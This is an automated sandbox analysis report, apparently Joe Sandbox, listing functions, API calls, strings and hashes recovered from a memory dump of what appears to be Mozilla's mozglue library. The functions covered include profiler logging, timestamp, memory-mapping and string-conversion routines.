LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C959675
__Init_thread_footer.LIBCMT ref: 6C959697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9596E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C959707
__Init_thread_footer.LIBCMT ref: 6C95971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C959773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9597B7
FreeLibrary.KERNEL32 ref: 6C9597D0
FreeLibrary.KERNEL32 ref: 6C9597EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C959824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C959670
MapViewOfFileNuma2, xrefs: 6C9597B1
NtMapViewOfSection, xrefs: 6C959701
ntdll.dll, xrefs: 6C9596E3

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: e71f3da9bbc7d6539a3d175a12f0434d91f862f834ab7b7bb5e8a863797dfa97
Instruction ID: 8142ae4ca21e118855029562c33bb5e3d9eb58f5a27b4efa11280f3e547ffbf7
Opcode Fuzzy Hash: e71f3da9bbc7d6539a3d175a12f0434d91f862f834ab7b7bb5e8a863797dfa97
Instruction Fuzzy Hash: 1261F8B1709205DFEF00CF64D884B9A3BB4FB4AB18F618119ED1597B80D730EA65CB92

Function 6C957FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C958007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C95801D

Part of subcall function 6C95CA10: malloc.MOZGLUE(?), ref: 6C95CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C95802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C95803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C95808D

Part of subcall function 6C95CA10: mozalloc_abort.MOZGLUE(?), ref: 6C95CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C95809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C9580B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C9580DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9580ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9580FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C95810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C958133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C958149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C958167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C95817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C958199

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: a232091b3012513ef6f96284bdeb4fb973229e0b509c575aef772aa477d089f8
Instruction ID: 57761057c6192d50a09a27815d745f2b89a853d88a9f4cab06cfb21effbad08a
Opcode Fuzzy Hash: a232091b3012513ef6f96284bdeb4fb973229e0b509c575aef772aa477d089f8
Instruction Fuzzy Hash: 5B5193B2E00214ABDF00DBA9DC84AEFB7B9AF69264F640125E815F7741E730D914CBA1

Function 6C9A6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C9CF618), ref: 6C9A6694
GetThreadId.KERNEL32(?), ref: 6C9A66B1
GetCurrentThreadId.KERNEL32 ref: 6C9A66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C9A66E1
EnterCriticalSection.KERNEL32(6C9CF618), ref: 6C9A6734
GetCurrentProcess.KERNEL32 ref: 6C9A673A
LeaveCriticalSection.KERNEL32(6C9CF618), ref: 6C9A676C
GetCurrentThread.KERNEL32 ref: 6C9A67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C9A6868
RtlCaptureContext.NTDLL ref: 6C9A687F

Strings

WalkStack64, xrefs: 6C9A6890

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 6fb1bfc92ada3223c4f035e09941b2954d66652ad87c959061bf1eb2916795ec
Instruction ID: f7c219eabd0cf4419e3235ac936af7ce3362908d509e63c9785e510b6df3ebcc
Opcode Fuzzy Hash: 6fb1bfc92ada3223c4f035e09941b2954d66652ad87c959061bf1eb2916795ec
Instruction Fuzzy Hash: 3C519D71A09341AFD711CF68C844B9ABBF8FF89B14F10492DF59997640D770EA09CB92

Function 6C98DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C954A68), ref: 6C98945E
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C989470
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C989482
Part of subcall function 6C989420: __Init_thread_footer.LIBCMT ref: 6C98949F

GetCurrentThreadId.KERNEL32 ref: 6C98DE73
GetCurrentThreadId.KERNEL32 ref: 6C98DF7D
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98DF8A
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98DFC9
GetCurrentThreadId.KERNEL32 ref: 6C98DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C98E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C954A68), ref: 6C98DE7B

Part of subcall function 6C9894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9894EE
Part of subcall function 6C9894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C989508

Part of subcall function 6C97CBE8: GetCurrentProcess.KERNEL32(?,6C9431A7), ref: 6C97CBF1
Part of subcall function 6C97CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9431A7), ref: 6C97CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C954A68), ref: 6C98DEB8
free.MOZGLUE(00000000,?,6C954A68), ref: 6C98DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C98DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C98E00E
[I %d/%d] locked_profiler_stop, xrefs: 6C98DE83
<none>, xrefs: 6C98DFD7

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 9b50c32704e6036f648f51454a9da887749d71d1da7f5389cbb16477ec01f7eb
Instruction ID: 47d2f380d0226db71e7cb87cb4d9ed5ae104c2dba7bda1af66305a3830d5e6dd
Opcode Fuzzy Hash: 9b50c32704e6036f648f51454a9da887749d71d1da7f5389cbb16477ec01f7eb
Instruction Fuzzy Hash: A8414732B062119BEB109F65C8087AE7779FF9670CF24041AE90A97F41CB34DA15CBE2

Function 6C99D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C99D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C99D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C99D52A
GetCurrentThreadId.KERNEL32 ref: 6C99D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C99D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C99D55F
free.MOZGLUE(00000000), ref: 6C99D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C99D5D3
GetCurrentThreadId.KERNEL32 ref: 6C99D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C99D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C99D652
GetCurrentThreadId.KERNEL32 ref: 6C99D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C99D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C99D6A2

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 87fa582867d22485831390302795beb89e497f397276de1ee77825e8384bfcc1
Instruction ID: 03ab518dddaa6fb3fe37a0e0fe9d2b9ef05aa4cf37effdd5659160fe0efacbc5
Opcode Fuzzy Hash: 87fa582867d22485831390302795beb89e497f397276de1ee77825e8384bfcc1
Instruction Fuzzy Hash: 16516C71608705EFC704DF34C484A9ABBB8FF89358F10862EE95A87711DB30E995CB91

Function 6C965670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C9656D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9656E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C9656F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C965744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C9657BC
GetTickCount64.KERNEL32 ref: 6C9658CB
EnterCriticalSection.KERNEL32(6C9CF688), ref: 6C9658F3
__aulldiv.LIBCMT ref: 6C965945
LeaveCriticalSection.KERNEL32(6C9CF688), ref: 6C9659B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C9CF638,?,?,?,?), ref: 6C9659E9

Strings

MOZ_APP_RESTART, xrefs: 6C9656CC

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 7fc44ed75535fc0bedbd2f3e373962d3722e440c2c139d8c710759d3a5ac71ec
Instruction ID: 2291bfe6bfe611b044bf527802836d2482dc22393c83b18fc50863a72fb7606d
Opcode Fuzzy Hash: 7fc44ed75535fc0bedbd2f3e373962d3722e440c2c139d8c710759d3a5ac71ec
Instruction Fuzzy Hash: DEC19A31A0C7449FDB05CF28C54066ABBF1BF9A718F258A1DE8C597B61D730E985CB82

Function 6C98EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C954A68), ref: 6C98945E
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C989470
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C989482
Part of subcall function 6C989420: __Init_thread_footer.LIBCMT ref: 6C98949F

GetCurrentThreadId.KERNEL32 ref: 6C98EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C98EC8C

Part of subcall function 6C9894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9894EE
Part of subcall function 6C9894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C989508

GetCurrentThreadId.KERNEL32 ref: 6C98ECA1
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C98ECC5
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C98ED19
CloseHandle.KERNEL32(?), ref: 6C98ED28
free.MOZGLUE(00000000), ref: 6C98ED2F
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C98EC94

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 7a04d04bf417161ac9d6ac6da90f13ff75f495d8384a00d3ff2355e5a9bd6655
Instruction ID: 8419a975747be4625ff8ff005acbc7077072311ee104651be1b293807bed6dd6
Opcode Fuzzy Hash: 7a04d04bf417161ac9d6ac6da90f13ff75f495d8384a00d3ff2355e5a9bd6655
Instruction Fuzzy Hash: 4D212479605108AFDF009F64D808AAA3779FB9636DF204611FD1887B41DB35D909CBE2

Function 6C988ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C94EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C94EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C98B392,?,?,00000001), ref: 6C9891F4

Part of subcall function 6C97CBE8: GetCurrentProcess.KERNEL32(?,6C9431A7), ref: 6C97CBF1
Part of subcall function 6C97CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9431A7), ref: 6C97CBFA

Strings

marker-chart, xrefs: 6C98905E
stack-chart, xrefs: 6C9890B2
marker-table, xrefs: 6C98906C
data, xrefs: 6C9890E8
timeline-fileio, xrefs: 6C9890A4
timeline-ipc, xrefs: 6C989096
timeline-overview, xrefs: 6C98907A
timeline-memory, xrefs: 6C989088
name, xrefs: 6C988F16

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: be3aac9dccc4539cc084a535218a15cb7caa8a6a270da62a5d52c38867ce80b1
Instruction ID: 778578ecab6693c76056d6970fb38eccbcd228837e9c4d683ffbf3f70e4aaf21
Opcode Fuzzy Hash: be3aac9dccc4539cc084a535218a15cb7caa8a6a270da62a5d52c38867ce80b1
Instruction Fuzzy Hash: 2AB1B2B1A02209ABDB08CF94C4917EFBBB5BF95318F204429D502ABF84D731DA55CBE1

Function 6C96C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C96C5A3
WideCharToMultiByte.KERNEL32 ref: 6C96C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C96C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C96CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C96CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C96CAA5

Strings

(null), xrefs: 6C96C596
0, xrefs: 6C96D30A

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 8e6859e647cb7b986aa29b39fe973a14cd62cbab696f62b98efd728e1f2690a1
Instruction ID: ce84d343a8bed3c3919eedbe9439ff5fc1b21b5a0d2462b9d1b31bcc601ece0e
Opcode Fuzzy Hash: 8e6859e647cb7b986aa29b39fe973a14cd62cbab696f62b98efd728e1f2690a1
Instruction Fuzzy Hash: B9A1AE316083429FEB00DF2AC554B5ABBF5AF89748F14881DF899D7B81DB31E805CB92

Function 6C96C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C96C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C96C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C96C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C96C891

Strings

nan, xrefs: 6C96C7A8
inf, xrefs: 6C96C78F
NAN, xrefs: 6C96C7AD
INF, xrefs: 6C96C794

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: fe073eda30600150667a1d07148899575d834029b611070fdb2b51945d317c59
Instruction ID: 2fabdc3db887422de512623c0fbbedfd29ed35857385c9baa38225afc7af8090
Opcode Fuzzy Hash: fe073eda30600150667a1d07148899575d834029b611070fdb2b51945d317c59
Instruction Fuzzy Hash: AB5184715087808BEB10DF6DC58169AFBF4BF9A304F00891DF9D5A7A91E770D9858B43

Function 6C944480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C984843,?), ref: 6C9445F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C984843,?), ref: 6C94468A
free.MOZGLUE(?,?,?,?,?,?,6C984843,?), ref: 6C9446C9
free.MOZGLUE(?), ref: 6C9446EF
free.MOZGLUE(?), ref: 6C944712
free.MOZGLUE(?), ref: 6C944735
free.MOZGLUE(?), ref: 6C944758
free.MOZGLUE(?), ref: 6C94477B
free.MOZGLUE(?), ref: 6C94479E

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 941c921ef598f79dfc151f1aba2944e2a30729de343773b63784ec1035be261c
Instruction ID: dde4d9330706ab1e5c4e9b0f4950cc15e7ce3f1575fd031447e8f3f13cc0daeb
Opcode Fuzzy Hash: 941c921ef598f79dfc151f1aba2944e2a30729de343773b63784ec1035be261c
Instruction Fuzzy Hash: EAB1EF72A001518FDB18DE3CD8A076D77A6AF52328F188669E816DFFD6E730D8408F81

Function 6C9AAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C9AAC52
CreateFileMappingW.KERNEL32 ref: 6C9AAC7D
GetSystemInfo.KERNEL32 ref: 6C9AAC98
MapViewOfFile.KERNEL32 ref: 6C9AACB0
GetSystemInfo.KERNEL32 ref: 6C9AACCD
MapViewOfFile.KERNEL32 ref: 6C9AAD05
UnmapViewOfFile.KERNEL32 ref: 6C9AAD1C
CloseHandle.KERNEL32 ref: 6C9AAD28
UnmapViewOfFile.KERNEL32 ref: 6C9AAD37
CloseHandle.KERNEL32 ref: 6C9AAD43
CloseHandle.KERNEL32 ref: 6C9AAD67

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: d80367ebc2280ec95bce22155f450ae55ffe803b0adcef57877cdde96d304b8d
Instruction ID: 473d3a3936c9a9cdf889f2ccb8545ea1a9a39e6491bee19e1bc42565b8c5921f
Opcode Fuzzy Hash: d80367ebc2280ec95bce22155f450ae55ffe803b0adcef57877cdde96d304b8d
Instruction Fuzzy Hash: 29316FB1A087448FDB00EFB8D64826EBBF4BF85705F11892DE98587211EB709599CB82

Function 6C959620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C959675
__Init_thread_footer.LIBCMT ref: 6C959697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9596E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C959707
__Init_thread_footer.LIBCMT ref: 6C95971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C959773

Part of subcall function 6C97AB89: EnterCriticalSection.KERNEL32(6C9CE370,?,?,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284), ref: 6C97AB94
